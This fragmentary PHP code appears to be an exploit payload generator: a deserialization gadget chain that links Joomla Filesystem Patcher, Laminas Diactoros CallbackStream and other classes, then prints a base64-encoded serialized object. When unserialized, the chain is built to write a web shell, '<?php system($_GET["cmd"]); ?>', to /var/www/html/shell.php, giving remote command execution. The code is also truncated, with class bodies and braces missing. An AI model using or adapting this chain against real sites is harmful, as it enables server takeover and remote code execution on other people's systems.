namespace Joomla\CMS\Layout;
interface LayoutInterface
namespace Joomla\CMS\Layout;
class BaseLayout implements LayoutInterface
namespace Psr\Http\Message;
interface StreamInterface
namespace Joomla\Filesystem;
public function __construct() {
'/var/www/html/shell.php' => ['<?php system($_GET["cmd"]); ?>']
namespace Laminas\Diactoros;
use Psr\Http\Message\StreamInterface;
use Joomla\Filesystem\Patcher;
class CallbackStream implements StreamInterface, Stringable
public function __toString(): string
public function __construct() {
$this->callback = [new Patcher(), "apply"];
namespace Joomla\Filesystem;
use Laminas\Diactoros\CallbackStream;
public function __construct() {
$this->processingmethod = new CallbackStream();
namespace Joomla\Filesystem;
echo base64_encode(serialize($obj));